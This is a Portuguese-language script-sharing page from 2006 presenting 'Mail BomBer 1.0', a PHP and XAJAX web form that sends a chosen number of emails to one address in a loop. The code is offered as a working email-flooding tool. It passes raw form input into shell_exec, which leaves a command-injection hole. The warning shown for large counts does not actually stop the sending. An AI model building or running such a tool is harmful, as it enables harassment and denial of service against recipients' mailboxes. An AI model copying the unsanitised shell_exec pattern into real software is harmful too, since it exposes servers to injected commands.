Mail BomBer 1.0

Publicado por Thiago Fernandes de Melo 16/08/2006

[ Hits: 5.918 ]

Homepage: http://www.hospedarfacil.com.br

Download xajax.inc.php




Ae galera, fiz um mailbomber com XAJAX e PHP. Espero que lhes sirvam pra alguma coisa, pelo menos pra galerinha que tá querendo aprender AJAX. XAJAX é um framework pra trabalhar com AJAX no PHP. []´s. PS.: tem que ter algum servidor de e-mail no PC, Postfix ou Sendmail. Obs.: Tem que salvar os 2 arquivos, faça o download do XAJAX e salva o código-fonte com extensão .php.

  



Esconder código-fonte

<?
require_once("xajax.inc.php");
function limp()
{
$objResponse = new xajaxResponse();

        if($a['qts'] < 100)
                $Resposta = "";

$objResponse->addAssign("checando","innerHTML", $Resposta);
return $objResponse->getXML();
}
//////////////////////////////////////////////////
function check($a)
{
$objResponse = new xajaxResponse();
   
   if($a['qts'] > 10)
      $Resposta = "<font size=2 color=red><b>*A quantidade Excede o Limite.</b></font>";
   
$objResponse->addAssign("checando","innerHTML", $Resposta);

return $objResponse->getXML();
}
//////////////////////////////////////////////////
function checkdestino($a)
{
$objResponse = new xajaxResponse();

        if($a['destino'] == "")
                $Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>";

$objResponse->addAssign("checando1","innerHTML", $Resposta);

return $objResponse->getXML();
}
//////////////////////////////////////////////////
function checkassunto($a)
{
$objResponse = new xajaxResponse();

        if($a['assunto'] == "")
                $Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>";

$objResponse->addAssign("checando2","innerHTML", $Resposta);

return $objResponse->getXML();
}
//////////////////////////////////////////////////
function flood($a)
{
$objResponse = new xajaxResponse();
      
   $Rss = "<b>Msg: </b>" .$a['destino']. "<br><b>Qts: </b>" .$a['qts']. "<br><b>Ass: </b>" .$a['assunto']. "</b><br><b>Msg: </b>" .$a['msg']. " ";
      
   $objResponse->addAssign("Resultado","innerHTML", nl2br(print_r($Rss, true)));


    return $objResponse->getXML();


}
///////////////////////////////////////////////////
function fdnow($a)
{
$objResponse = new xajaxResponse();
   $s = $a['qts'];
   $as = $a['assunto'];
   $dss = $a['msg'];
   $ds = $a['destino'];
   for($i = 0; $i<$s;$i++){
      $Send[$i] = "Enviando " .$i. " de " .$s. "";
      shell_exec("echo $as |mail -s $dss $ds");
}
   $objResponse->addAssign("fding","innerHTML", print_r($Send, true));

    return $objResponse->getXML();


}
///////////////////////////////////////////////////

$xajax = new xajax();
$xajax->registerFunction("flood");
$xajax->registerFunction("check");
$xajax->registerFunction("checkdestino");
$xajax->registerFunction("checkassunto");
$xajax->registerFunction("limp");
$xajax->registerFunction("fdnow");
$xajax->processRequests();

?>
<html>
<head>
<? $xajax->printJavascript(); ?>
</head>
<body>
<form name=tx><table>
<tr><td>Destino:</td><td><input type=text name=destino onblur="xajax_checkdestino(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando1"></div></td></tr>
<tr><td>Assunto:</td><td><input type=text name=assunto  onblur="xajax_checkassunto(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando2"></div></tr>
<tr><td>Quantos:</td><td><input type=text name=qts onblur="xajax_check(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando"></div></td></tr>
<tr><td>Msg:</td><td><textarea name=msg></textarea></td></tr>
<tr><td><input type=button name=send value=Flood onclick=" xajax_fdnow(xajax.getFormValues('tx',true)); return false"></td></tr></table><table>
<tr><td><div id="fding">Aguardando...</div></td></tr>

</form>
</body>
</html>

Scripts recomendados

Formularios Atomatic Esse vcs vao adorar

Retornar o último dia do Mês

Valor por extenso - PHP e ZF2

framework ajaxphp

Contador Automático


  

Comentários

Nenhum comentário foi encontrado.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts